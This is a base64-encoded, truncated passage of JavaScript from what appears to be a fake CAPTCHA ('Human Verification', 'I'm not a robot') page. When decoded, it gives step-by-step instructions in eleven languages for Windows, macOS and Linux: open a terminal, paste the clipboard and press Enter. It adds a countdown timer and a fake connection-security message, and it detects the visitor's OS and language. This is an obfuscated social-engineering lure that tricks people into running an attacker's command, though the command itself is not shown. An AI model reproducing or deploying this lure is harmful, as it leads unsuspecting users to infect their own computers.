GY0dFx1MDBlOSBkZSBsYSBiYXJyZSBkXHUyMDE5ZXNwYWNlLiBDbWQrRXNwYWNlIG91dnJlIFNwb3RsaWdodC4nfSwNCiAgICAgICAgICAgICAgICBlczoge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidSZWFsaXphIGxvcyBwYXNvcyBlbiB0dSB0ZWNsYWRvIE1hYycsc3RlcDE6JzxiPkNtZCArIEVzcGFjaW88L2I+JyxzdGVwMjonPGI+VGVybWluYWw8L2I+JyxzdGVwMkNoaXA6J2x1ZWdvIEVudGVyJyxzdGVwMzonPGI+Q21kICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+JyxzdGVwS2V5SGVscDonTGEgdGVjbGEgQ21kIChcdTIzMTgpIGVzdFx1MDBlMSBqdW50byBhIGxhIGJhcnJhIGVzcGFjaWFkb3JhLiBDbWQrRXNwYWNpbyBhYnJlIFNwb3RsaWdodC4nfSwNCiAgICAgICAgICAgICAgICBpdDoge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidFc2VndWkgaSBwYXNzYWdnaSBzdWxsYSB0YXN0aWVyYSBNYWMnLHN0ZXAxOic8Yj5DbWQgKyBTcGF6aW88L2I+JyxzdGVwMjonPGI+VGVybWluYWw8L2I+JyxzdGVwMkNoaXA6J3BvaSBJbnZpbycsc3RlcDM6JzxiPkNtZCArIFY8L2I+JyxzdGVwNDonPGI+SW52aW8gXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J0lsIHRhc3RvIENtZCAoXHUyMzE4KSBcdTAwZTggYWNjYW50byBhbGxhIGJhcnJhIHNwYXppYXRyaWNlLiBDbWQrU3BhemlvIGFwcmUgU3BvdGxpZ2h0Lid9LA0KICAgICAgICAgICAgICAgIHB0OiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J0V4ZWN1dGUgYXMgZXRhcGFzIG5vIHRlY2xhZG8gTWFjJyxzdGVwMTonPGI+Q21kICsgRXNwYVx1MDBlN288L2I+JyxzdGVwMjonPGI+VGVybWluYWw8L2I+JyxzdGVwMkNoaXA6J2RlcG9pcyBFbnRlcicsc3RlcDM6JzxiPkNtZCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J0EgdGVjbGEgQ21kIChcdTIzMTgpIGVzdFx1MDBlMSBhbyBsYWRvIGRhIGJhcnJhIGRlIGVzcGFcdTAwZTdvLiBDbWQrRXNwYVx1MDBlN28gYWJyZSBvIFNwb3RsaWdodC4nfSwNCiAgICAgICAgICAgICAgICB6aDoge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidcdThiZjdcdTU3MjggTWFjIFx1OTUyZVx1NzZkOFx1NGUwYVx1NjI2N1x1ODg0Y1x1NGVlNVx1NGUwYlx1NmI2NVx1OWFhNCcsc3RlcDE6JzxiPkNtZCArIFNwYWNlPC9iPicsc3RlcDI6JzxiPlRlcm1pbmFsPC9iPicsc3RlcDJDaGlwOidcdTcxMzZcdTU0MGVcdTYzMDkgRW50ZXInLHN0ZXAzOic8Yj5DbWQgKyBWPC9iPicsc3RlcDQ6JzxiPkVudGVyIFx1MjFiNTwvYj4nLHN0ZXBLZXlIZWxwOidcdTIzMTggKENvbW1hbmQpIFx1OTUyZVx1NTcyOFx1N2E3YVx1NjgzY1x1OTUyZVx1NjVjMVx1MzAwMlx1NjMwOSBDbWQrU3BhY2UgXHU2MjUzXHU1ZjAwIFNwb3RsaWdodFx1MzAwMid9LA0KICAgICAgICAgICAgICAgIGphOiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J01hY1x1MzA2ZVx1MzBhZFx1MzBmY1x1MzBkY1x1MzBmY1x1MzBjOVx1MzA2N1x1NjI0Ylx1OTgwNlx1MzA5Mlx1NWI5Zlx1ODg0Y1x1MzA1N1x1MzA2Nlx1MzA0Zlx1MzA2MFx1MzA1NVx1MzA0NCcsc3RlcDE6JzxiPkNtZCArIFNwYWNlPC9iPicsc3RlcDI6JzxiPlRlcm1pbmFsPC9iPicsc3RlcDJDaGlwOidFbnRlclx1MzA5Mlx1NjJiY1x1MzA1OScsc3RlcDM6JzxiPkNtZCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J1x1MjMxOCAoQ29tbWFuZCkgXHUzMGFkXHUzMGZjXHUzMDZmXHUzMGI5XHUzMGRhXHUzMGZjXHUzMGI5XHUzMGFkXHUzMGZjXHUzMDZlXHU5NmEzXHUzMDY3XHUzMDU5XHUzMDAyQ21kK1NwYWNlXHUzMDY3IFNwb3RsaWdodCBcdTMwOTJcdTk1OGJcdTMwNGRcdTMwN2VcdTMwNTlcdTMwMDInfSwNCiAgICAgICAgICAgICAgICBrbzoge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidNYWMgXHVkMGE0XHViY2Y0XHViNGRjXHVjNWQwXHVjMTFjIFx1YjJlOFx1YWNjNFx1Yjk3YyBcdWMyMThcdWQ1ODlcdWQ1NThcdWMxMzhcdWM2OTQnLHN0ZXAxOic8Yj5DbWQgKyBTcGFjZTwvYj4nLHN0ZXAyOic8Yj5UZXJtaW5hbDwvYj4nLHN0ZXAyQ2hpcDonXHVjNzg1XHViODI1IFx1ZDZjNCBFbnRlcicsc3RlcDM6JzxiPkNtZCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J1x1MjMxOChDb21tYW5kKSBcdWQwYTRcdWIyOTQgXHVjMmE0XHVkMzk4XHVjNzc0XHVjMmE0XHViYzE0IFx1YzYyY1x1Yjg2ZFx1YzVkMCBcdWM3ODhcdWMyYjVcdWIyYzhcdWIyZTQuIENtZCtTcGFjZVx1Yjg1YyBTcG90bGlnaHRcdWM3NDQgXHVjNWZkXHViMmM4XHViMmU0Lid9LA0KICAgICAgICAgICAgICAgIHRyOiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J0FkXHUwMTMxbWxhclx1MDEzMSBNYWMga2xhdnllbml6ZGUgZ2VyXHUwMGU3ZWtsZVx1MDE1ZnRpcmluJyxzdGVwMTonPGI+Q21kICsgU3BhY2U8L2I+JyxzdGVwMjonPGI+VGVybWluYWw8L2I+JyxzdGVwMkNoaXA6J3NvbnJhIEVudGVyJyxzdGVwMzonPGI+Q21kICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+JyxzdGVwS2V5SGVscDonXHUyMzE4IChDb21tYW5kKSB0dVx1MDE1ZnUgYm9cdTAxNWZsdWsgdHVcdTAxNWZ1bnVuIHlhblx1MDEzMW5kYWRcdTAxMzFyLiBDbWQrU3BhY2UgU3BvdGxpZ2h0XHUyMDE5XHUwMTMxIGFcdTAwZTdhci4nfSwNCiAgICAgICAgICAgICAgICBhcjoge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidcdTA2NDZcdTA2NDFcdTA2NTFcdTA2MzAgXHUwNjI3XHUwNjQ0XHUwNjJlXHUwNjM3XHUwNjQ4XHUwNjI3XHUwNjJhIFx1MDYzOVx1MDY0NFx1MDY0OSBcdTA2NDRcdTA2NDhcdTA2MmRcdTA2MjkgXHUwNjQ1XHUwNjQxXHUwNjI3XHUwNjJhXHUwNjRhXHUwNjJkIE1hYycsc3RlcDE6JzxiPkNtZCArIFNwYWNlPC9iPicsc3RlcDI6JzxiPlRlcm1pbmFsPC9iPicsc3RlcDJDaGlwOidcdTA2MmJcdTA2NDUgRW50ZXInLHN0ZXAzOic8Yj5DbWQgKyBWPC9iPicsc3RlcDQ6JzxiPkVudGVyIFx1MjFiNTwvYj4nLHN0ZXBLZXlIZWxwOidcdTA2NDVcdTA2NDFcdTA2MmFcdTA2MjdcdTA2MmQgXHUyMzE4IChDb21tYW5kKSBcdTA2MjhcdTA2MmNcdTA2MjdcdTA2NDZcdTA2MjggXHUwNjQ1XHUwNjQzXHUwNjI3XHUwNjQ2IFx1MDYyN1x1MDY0NFx1MDY0NVx1MDYzM1x1MDYyN1x1MDY0MVx1MDYyOS4gQ21kK1NwYWNlIFx1MDY0YVx1MDY0MVx1MDYyYVx1MDYyZCBTcG90bGlnaHQuJ30NCiAgICAgICAgICAgIH0sDQogICAgICAgICAgICBsaW51eDogew0KICAgICAgICAgICAgICAgIGVuOiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J1BlcmZvcm0gdGhlIHN0ZXBzIG9uIHlvdXIgTGludXgga2V5Ym9hcmQnLHN0ZXAxOic8Yj5DdHJsICsgQWx0ICsgVDwvYj4nLHN0ZXAyOicnLHN0ZXAyQ2hpcDonb3Igb3BlbiBUZXJtaW5hbCBmcm9tIG1lbnUnLHN0ZXAzOic8Yj5DdHJsICsgU2hpZnQgKyBWPC9iPicsc3RlcDQ6JzxiPkVudGVyIFx1MjFiNTwvYj4nLHN0ZXBLZXlIZWxwOidDdHJsK0FsdCtUIG9wZW5zIFRlcm1pbmFsIG9uIFVidW50dSwgR05PTUUsIEtERSwgYW5kIG1vc3QgTGludXggZGVza3RvcHMuJ30sDQogICAgICAgICAgICAgICAgZGU6IHtrZXlib2FyZEluc3RydWN0aW9uczonRlx1MDBmY2hyZW4gU2llIGRpZSBTY2hyaXR0ZSBhdWYgSWhyZXIgTGludXgtVGFzdGF0dXIgZHVyY2gnLHN0ZXAxOic8Yj5TdHJnICsgQWx0ICsgVDwvYj4nLHN0ZXAyOicnLHN0ZXAyQ2hpcDonb2RlciBUZXJtaW5hbCBcdTAwZmNiZXIgZGFzIE1lblx1MDBmYyBcdTAwZjZmZm5lbicsc3RlcDM6JzxiPlN0cmcgKyBVbXNjaGFsdCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J1N0cmcrQWx0K1QgXHUwMGY2ZmZuZXQgZGFzIFRlcm1pbmFsIHVudGVyIFVidW50dSwgR05PTUUsIEtERSB1bmQgZGVuIG1laXN0ZW4gTGludXgtRGVza3RvcHMuJ30sDQogICAgICAgICAgICAgICAgZnI6IHtrZXlib2FyZEluc3RydWN0aW9uczonRWZmZWN0dWV6IGxlcyBcdTAwZTl0YXBlcyBzdXIgdm90cmUgY2xhdmllciBMaW51eCcsc3RlcDE6JzxiPkN0cmwgKyBBbHQgKyBUPC9iPicsc3RlcDI6Jycsc3RlcDJDaGlwOidvdSBvdXZyZXogVGVybWluYWwgZGVwdWlzIGxlIG1lbnUnLHN0ZXAzOic8Yj5DdHJsICsgTWFqICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRyXHUwMGU5ZSBcdTIxYjU8L2I+JyxzdGVwS2V5SGVscDonQ3RybCtBbHQrVCBvdXZyZSBsZSB0ZXJtaW5hbCBzdXIgVWJ1bnR1LCBHTk9NRSwgS0RFIGV0IGxhIHBsdXBhcnQgZGVzIGJ1cmVhdXggTGludXguJ30sDQogICAgICAgICAgICAgICAgZXM6IHtrZXlib2FyZEluc3RydWN0aW9uczonUmVhbGl6YSBsb3MgcGFzb3MgZW4gdHUgdGVjbGFkbyBMaW51eCcsc3RlcDE6JzxiPkN0cmwgKyBBbHQgKyBUPC9iPicsc3RlcDI6Jycsc3RlcDJDaGlwOidvIGFicmUgVGVybWluYWwgZGVzZGUgZWwgbWVuXHUwMGZhJyxzdGVwMzonPGI+Q3RybCArIE1heVx1MDBmYXMgKyBWPC9iPicsc3RlcDQ6JzxiPkVudGVyIFx1MjFiNTwvYj4nLHN0ZXBLZXlIZWxwOidDdHJsK0FsdCtUIGFicmUgbGEgdGVybWluYWwgZW4gVWJ1bnR1LCBHTk9NRSwgS0RFIHkgbGEgbWF5b3JcdTAwZWRhIGRlIGVzY3JpdG9yaW9zIExpbnV4Lid9LA0KICAgICAgICAgICAgICAgIGl0OiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J0VzZWd1aSBpIHBhc3NhZ2dpIHN1bGxhIHRhc3RpZXJhIExpbnV4JyxzdGVwMTonPGI+Q3RybCArIEFsdCArIFQ8L2I+JyxzdGVwMjonJyxzdGVwMkNoaXA6J28gYXByaSBUZXJtaW5hbCBkYWwgbWVudScsc3RlcDM6JzxiPkN0cmwgKyBNYWl1c2MgKyBWPC9iPicsc3RlcDQ6JzxiPkludmlvIFx1MjFiNTwvYj4nLHN0ZXBLZXlIZWxwOidDdHJsK0FsdCtUIGFwcmUgaWwgdGVybWluYWxlIHN1IFVidW50dSwgR05PTUUsIEtERSBlIGxhIG1hZ2dpb3IgcGFydGUgZGVpIGRlc2t0b3AgTGludXguJ30sDQogICAgICAgICAgICAgICAgcHQ6IHtrZXlib2FyZEluc3RydWN0aW9uczonRXhlY3V0ZSBhcyBldGFwYXMgbm8gdGVjbGFkbyBMaW51eCcsc3RlcDE6JzxiPkN0cmwgKyBBbHQgKyBUPC9iPicsc3RlcDI6Jycsc3RlcDJDaGlwOidvdSBhYnJhIG8gVGVybWluYWwgcGVsbyBtZW51JyxzdGVwMzonPGI+Q3RybCArIFNoaWZ0ICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+JyxzdGVwS2V5SGVscDonQ3RybCtBbHQrVCBhYnJlIG8gdGVybWluYWwgbm8gVWJ1bnR1LCBHTk9NRSwgS0RFIGUgbmEgbWFpb3JpYSBkb3MgZGVza3RvcHMgTGludXguJ30sDQogICAgICAgICAgICAgICAgemg6IHtrZXlib2FyZEluc3RydWN0aW9uczonXHU4YmY3XHU1NzI4IExpbnV4IFx1OTUyZVx1NzZkOFx1NGUwYVx1NjI2N1x1ODg0Y1x1NGVlNVx1NGUwYlx1NmI2NVx1OWFhNCcsc3RlcDE6JzxiPkN0cmwgKyBBbHQgKyBUPC9iPicsc3RlcDI6Jycsc3RlcDJDaGlwOidcdTYyMTZcdTRlY2VcdTgzZGNcdTUzNTVcdTYyNTNcdTVmMDAgVGVybWluYWwnLHN0ZXAzOic8Yj5DdHJsICsgU2hpZnQgKyBWPC9iPicsc3RlcDQ6JzxiPkVudGVyIFx1MjFiNTwvYj4nLHN0ZXBLZXlIZWxwOidDdHJsK0FsdCtUIFx1NTNlZlx1NTcyOCBVYnVudHVcdTMwMDFHTk9NRVx1MzAwMUtERSBcdTdiNDlcdTU5MjdcdTU5MWFcdTY1NzAgTGludXggXHU2ODRjXHU5NzYyXHU0ZTBhXHU2MjUzXHU1ZjAwXHU3ZWM4XHU3YWVmXHUzMDAyJ30sDQogICAgICAgICAgICAgICAgamE6IHtrZXlib2FyZEluc3RydWN0aW9uczonTGludXhcdTMwNmVcdTMwYWRcdTMwZmNcdTMwZGNcdTMwZmNcdTMwYzlcdTMwNjdcdTYyNGJcdTk4MDZcdTMwOTJcdTViOWZcdTg4NGNcdTMwNTdcdTMwNjZcdTMwNGZcdTMwNjBcdTMwNTVcdTMwNDQnLHN0ZXAxOic8Yj5DdHJsICsgQWx0ICsgVDwvYj4nLHN0ZXAyOicnLHN0ZXAyQ2hpcDonXHUzMDdlXHUzMDVmXHUzMDZmXHUzMGUxXHUzMGNiXHUzMGU1XHUzMGZjXHUzMDRiXHUzMDg5IFRlcm1pbmFsIFx1MzA5Mlx1OTU4Ylx1MzA0Zicsc3RlcDM6JzxiPkN0cmwgKyBTaGlmdCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J0N0cmwrQWx0K1QgXHUzMDY3IFVidW50dVx1MzAwMUdOT01FXHUzMDAxS0RFIFx1N2I0OVx1MzA2ZVx1NTkyN1x1MzA0ZFx1MzA2YSBMaW51eCBcdTMwYzdcdTMwYjlcdTMwYWZcdTMwYzhcdTMwYzNcdTMwZDdcdTMwNjdcdTMwYmZcdTMwZmNcdTMwZGZcdTMwY2FcdTMwZWJcdTMwOTJcdTk1OGJcdTMwNGRcdTMwN2VcdTMwNTlcdTMwMDInfSwNCiAgICAgICAgICAgICAgICBrbzoge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidMaW51eCBcdWQwYTRcdWJjZjRcdWI0ZGNcdWM1ZDBcdWMxMWMgXHViMmU4XHVhY2M0XHViOTdjIFx1YzIxOFx1ZDU4OVx1ZDU1OFx1YzEzOFx1YzY5NCcsc3RlcDE6JzxiPkN0cmwgKyBBbHQgKyBUPC9iPicsc3RlcDI6Jycsc3RlcDJDaGlwOidcdWI2MTBcdWIyOTQgXHViYTU0XHViMjc0XHVjNWQwXHVjMTFjIFRlcm1pbmFsIFx1YzJlNFx1ZDU4OScsc3RlcDM6JzxiPkN0cmwgKyBTaGlmdCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J0N0cmwrQWx0K1RcdWIyOTQgVWJ1bnR1LCBHTk9NRSwgS0RFIFx1YjRmMSBcdWIzMDBcdWJkODBcdWJkODRcdWM3NTggTGludXggXHViMzcwXHVjMmE0XHVkMDZjXHVkMWIxXHVjNWQwXHVjMTFjIFx1ZDEzMFx1YmJmOFx1YjExMFx1Yzc0NCBcdWM1ZmRcdWIyYzhcdWIyZTQuJ30sDQogICAgICAgICAgICAgICAgdHI6IHtrZXlib2FyZEluc3RydWN0aW9uczonQWRcdTAxMzFtbGFyXHUwMTMxIExpbnV4IGtsYXZ5ZW5pemRlIGdlclx1MDBlN2VrbGVcdTAxNWZ0aXJpbicsc3RlcDE6JzxiPkN0cmwgKyBBbHQgKyBUPC9iPicsc3RlcDI6Jycsc3RlcDJDaGlwOid2ZXlhIG1lblx1MDBmY2RlbiBUZXJtaW5hbCBhXHUwMGU3XHUwMTMxbicsc3RlcDM6JzxiPkN0cmwgKyBTaGlmdCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J0N0cmwrQWx0K1QsIFVidW50dSwgR05PTUUsIEtERSB2ZSBcdTAwZTdvXHUwMTFmdSBMaW51eCBtYXNhXHUwMGZjc3RcdTAwZmNuZGUgdGVybWluYWxpIGFcdTAwZTdhci4nfSwNCiAgICAgICAgICAgICAgICBhcjoge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidcdTA2NDZcdTA2NDFcdTA2NTFcdTA2MzAgXHUwNjI3XHUwNjQ0XHUwNjJlXHUwNjM3XHUwNjQ4XHUwNjI3XHUwNjJhIFx1MDYzOVx1MDY0NFx1MDY0OSBcdTA2NDRcdTA2NDhcdTA2MmRcdTA2MjkgXHUwNjQ1XHUwNjQxXHUwNjI3XHUwNjJhXHUwNjRhXHUwNjJkIExpbnV4JyxzdGVwMTonPGI+Q3RybCArIEFsdCArIFQ8L2I+JyxzdGVwMjonJyxzdGVwMkNoaXA6J1x1MDYyM1x1MDY0OCBcdTA2MjdcdTA2NDFcdTA2MmFcdTA2MmQgVGVybWluYWwgXHUwNjQ1XHUwNjQ2IFx1MDYyN1x1MDY0NFx1MDY0Mlx1MDYyN1x1MDYyNlx1MDY0NVx1MDYyOScsc3RlcDM6JzxiPkN0cmwgKyBTaGlmdCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J0N0cmwrQWx0K1QgXHUwNjRhXHUwNjQxXHUwNjJhXHUwNjJkIFx1MDYyN1x1MDY0NFx1MDYzN1x1MDYzMVx1MDY0NVx1MDY0YVx1MDYzMlx1MDYyN1x1MDY0NCBcdTA2MzlcdTA2NDRcdTA2NDkgVWJ1bnR1IFx1MDY0OCBHTk9NRSBcdTA2NDggS0RFIFx1MDY0OFx1MDY0NVx1MDYzOVx1MDYzOFx1MDY0NSBcdTA2MjNcdTA2MzNcdTA2MzdcdTA2MmQgTGludXguJ30NCiAgICAgICAgICAgIH0NCiAgICAgICAgfTsNCg0KICAgICAgICB2YXIgU1VQUE9SVEVEX0xBTkdTID0gWydlbicsICdkZScsICdmcicsICdlcycsICdpdCcsICdwdCcsICd6aCcsICdqYScsICdrbycsICd0cicsICdhciddOw0KDQogICAgICAgIGZ1bmN0aW9uIGdldEJyb3dzZXJMYW5ndWFnZUNvZGUoKSB7DQogICAgICAgICAgICB2YXIgYnJvd3Nlckxhbmd1YWdlcyA9IChuYXZpZ2F0b3IubGFuZ3VhZ2VzICYmIG5hdmlnYXRvci5sYW5ndWFnZXMubGVuZ3RoID8NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG5hdmlnYXRvci5sYW5ndWFnZXMgOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW25hdmlnYXRvci5sYW5ndWFnZSB8fCAnZW4nXSkNCiAgICAgICAgICAgICAgICAubWFwKGZ1bmN0aW9uKGxhbmcpIHsNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIFN0cmluZyhsYW5nIHx8ICcnKS50b0xvd2VyQ2FzZSgpLnNwbGl0KCctJylbMF07DQogICAgICAgICAgICAgICAgfSk7DQoNCiAgICAgICAgICAgIGZvciAodmFyIGkgPSAwOyBpIDwgYnJvd3Nlckxhbmd1YWdlcy5sZW5ndGg7IGkrKykgew0KICAgICAgICAgICAgICAgIGlmIChTVVBQT1JURURfTEFOR1MuaW5kZXhPZihicm93c2VyTGFuZ3VhZ2VzW2ldKSAhPT0gLTEpIHsNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGJyb3dzZXJMYW5ndWFnZXNbaV07DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICByZXR1cm4gJ2VuJzsNCiAgICAgICAgfQ0KDQogICAgICAgIGZ1bmN0aW9uIG1lcmdlT3NJbnN0cnVjdGlvblN0ZXBzKHN0cmluZ3MsIGxhbmdDb2RlKSB7DQogICAgICAgICAgICB2YXIgb3MgPSBUQVJHRVRfT1BFUkFUSU5HX1NZU1RFTSB8fCBkZXRlY3RWaXNpdG9yT3MoKTsNCiAgICAgICAgICAgIGlmIChvcyA9PT0gJ3dpbmRvd3MnKSB7DQogICAgICAgICAgICAgICAgc3RyaW5ncy5zdGVwS2V5SGVscCA9IHN0cmluZ3Mud2luZG93c0tleUhlbHA7DQogICAgICAgICAgICAgICAgcmV0dXJuIHN0cmluZ3M7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIHZhciBwYWNrID0gT1NfSU5TVFJVQ1RJT05fUEFDS1Nbb3NdOw0KICAgICAgICAgICAgaWYgKCFwYWNrKSB7DQogICAgICAgICAgICAgICAgc3RyaW5ncy5zdGVwS2V5SGVscCA9IHN0cmluZ3Mud2luZG93c0tleUhlbHA7DQogICAgICAgICAgICAgICAgcmV0dXJuIHN0cmluZ3M7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIHZhciBvdmVybGF5ID0gcGFja1tsYW5nQ29kZV0gfHwgcGFjay5lbjsNCiAgICAgICAgICAgIGlmICghb3ZlcmxheSkgew0KICAgICAgICAgICAgICAgIHN0cmluZ3Muc3RlcEtleUhlbHAgPSBzdHJpbmdzLndpbmRvd3NLZXlIZWxwOw0KICAgICAgICAgICAgICAgIHJldHVybiBzdHJpbmdzOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBmb3IgKHZhciBrZXkgaW4gb3ZlcmxheSkgew0KICAgICAgICAgICAgICAgIGlmIChvdmVybGF5Lmhhc093blByb3BlcnR5KGtleSkpIHsNCiAgICAgICAgICAgICAgICAgICAgc3RyaW5nc1trZXldID0gb3ZlcmxheVtrZXldOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgc3RyaW5ncy5zdGVwS2V5SGVscCA9IG92ZXJsYXkuc3RlcEtleUhlbHAgfHwgc3RyaW5ncy53aW5kb3dzS2V5SGVscDsNCiAgICAgICAgICAgIHJldHVybiBzdHJpbmdzOw0KICAgICAgICB9DQoNCiAgICAgICAgZnVuY3Rpb24gYnVpbGRTdGVwMkh0bWwodHJhbnNsYXRpb25zKSB7DQogICAgICAgICAgICB2YXIgaHRtbCA9IHRyYW5zbGF0aW9ucy5zdGVwMiB8fCAnJzsNCiAgICAgICAgICAgIGlmICh0cmFuc2xhdGlvbnMuc3RlcDJDaGlwKSB7DQogICAgICAgICAgICAgICAgaHRtbCArPSAnPHNwYW4gY2xhc3M9InRlcm0tY2hpcCI+JyArIHRyYW5zbGF0aW9ucy5zdGVwMkNoaXAgKyAnPC9zcGFuPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByZXR1cm4gaHRtbDsNCiAgICAgICAgfQ0KDQogICAgICAgIGZ1bmN0aW9uIGdldFRyYW5zbGF0ZWRTdHJpbmdzKCkgew0KICAgICAgICAgICAgdmFyIHRyYW5zbGF0aW9ucyA9IHtlbjp7bm90Um9ib3RUZXh0OiJJJ20gbm90IGEgcm9ib3QiLHZlcmlmeWluZ1RleHQ6J1ZlcmlmeWluZy4uLicsdmVyaWZpY2F0aW9uVGl0bGU6J0h1bWFuIFZlcmlmaWNhdGlvbicsdmVyaWZpY2F0aW9uU3VidGl0bGU6J0NvbXBsZXRlIHRoZSBzdGVwcyBiZWxvdycsa2V5Ym9hcmRJbnN0cnVjdGlvbnM6J1BlcmZvcm0gdGhlIHN0ZXBzIG9uIHlvdXIga2V5Ym9hcmQnLHRpbWVSZW1haW5pbmc6J1RpbWUgUmVtYWluaW5nJyx3YXJuaW5nMzBTZWNvbmRzOidMZXNzIHRoYW4gMzAgc2Vjb25kcyByZW1haW5pbmchJyxzdGVwMTonPGI+JytXSU5ET1dTX0xPR09fU1ZHKycgKyBYPC9iPicsc3RlcDI6JzxiPkk8L2I+JyxzdGVwMkNoaXA6J29yIGNob29zZSBUZXJtaW5hbCcsc3RlcDM6JzxiPkN0cmwgKyBWPC9iPicsc3RlcDQ6JzxiPkVudGVyIFx1MjFiNTwvYj4nLHByaXZhY3lMaW5rOidQcml2YWN5Jyx0ZXJtc0xpbms6J1Rlcm1zJyxzZWN1cml0eU1lc3NhZ2U6J25lZWRzIHRvIHJldmlldyB0aGUgc2VjdXJpdHkgb2YgeW91ciBjb25uZWN0aW9uIGJlZm9yZSBwcm9jZWVkaW5nLicsd2luZG93c0tleUhlbHA6J1RoaXMgaXMgdGhlIFdpbmRvd3Mga2V5LCBsb2NhdGVkIGF0IHRoZSBib3R0b20gb2YgeW91ciBrZXlib2FyZCBiZXR3ZWVuIEN0cmwgYW5kIEFsdCwgdW5kZXIgdGhlIFoga2V5J30sZGU6e25vdFJvYm90VGV4dDonSWNoIGJpbiBrZWluIFJvYm90ZXInLHZlcmlmeWluZ1RleHQ6J1x1MDBkY2JlcnByXHUwMGZjZnVuZ1x1MjAyNicsdmVyaWZpY2F0aW9uVGl0bGU6J01lbnNjaGxpY2hlIFZlcmlmaXppZXJ1bmcnLHZlcmlmaWNhdGlvblN1YnRpdGxlOidGXHUwMGZjaHJlbiBTaWUgZGllIGZvbGdlbmRlbiBTY2hyaXR0ZSBhdXMnLGtleWJvYXJkSW5zdHJ1Y3Rpb25zOidGXHUwMGZjaHJlbiBTaWUgZGllIFNjaHJpdHRlIGF1ZiBJaHJlciBUYXN0YXR1ciBkdXJjaCcsdGltZVJlbWFpbmluZzonVmVyYmxlaWJlbmRlIFplaXQnLHdhcm5pbmczMFNlY29uZHM6J1dlbmlnZXIgYWxzIDMwIFNla3VuZGVuIScsc3RlcDE6JzxiPicrV0lORE9XU19MT0dPX1NWRysnICsgWDwvYj4nLHN0ZXAyOic8Yj5JPC9iPicsc3RlcDJDaGlwOidvZGVyIFRlcm1pbmFsJyxzdGVwMzonPGI+U3RyZyArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicscHJpdmFjeUxpbms6J0RhdGVuc2NodXR6Jyx0ZXJtc0xpbms6J0JlZGluZ3VuZ2VuJyxzZWN1cml0eU1lc3NhZ2U6J211c3MgZGllIFNpY2hlcmhlaXQgSWhyZXIgVmVyYmluZHVuZyBcdTAwZmNiZXJwclx1MDBmY2Zlbi4nLHdpbmRvd3NLZXlIZWxwOidEYXMgaXN0IGRpZSBXaW5kb3dzLVRhc3RlLCB1bnRlbiBhdWYgZGVyIFRhc3RhdHVyIHp3aXNjaGVuIFN0cmcgdW5kIEFsdCwgdW50ZXIgZGVyIFotVGFzdGUnfSxmcjp7bm90Um9ib3RUZXh0OidKZSBuZSBzdWlzIHBhcyB1biByb2JvdCcsdmVyaWZ5aW5nVGV4dDonVlx1MDBlOXJpZmljYXRpb25cdTIwMjYnLHZlcmlmaWNhdGlvblRpdGxlOidWXHUwMGU5cmlmaWNhdGlvbiBodW1haW5lJyx2ZXJpZmljYXRpb25TdWJ0aXRsZTonU3VpdmV6IGxlcyBcdTAwZTl0YXBlcyBjaS1kZXNzb3VzJyxrZXlib2FyZEluc3RydWN0aW9uczonRWZmZWN0dWV6IGxlcyBcdTAwZTl0YXBlcyBzdXIgdm90cmUgY2xhdmllcicsdGltZVJlbWFpbmluZzonVGVtcHMgcmVzdGFudCcsd2FybmluZzMwU2Vjb25kczonTW9pbnMgZGUgMzAgc2Vjb25kZXMgIScsc3RlcDE6JzxiPicrV0lORE9XU19MT0dPX1NWRysnICsgWDwvYj4nLHN0ZXAyOic8Yj5JPC9iPicsc3RlcDJDaGlwOidvdSBUZXJtaW5hbCcsc3RlcDM6JzxiPkN0cmwgKyBWPC9iPicsc3RlcDQ6JzxiPkVudHJcdTAwZTllIFx1MjFiNTwvYj4nLHByaXZhY3lMaW5rOidDb25maWRlbnRpYWxpdFx1MDBlOScsdGVybXNMaW5rOidDb25kaXRpb25zJyxzZWN1cml0eU1lc3NhZ2U6J2RvaXQgdlx1MDBlOXJpZmllciBsYSBzXHUwMGU5Y3Vya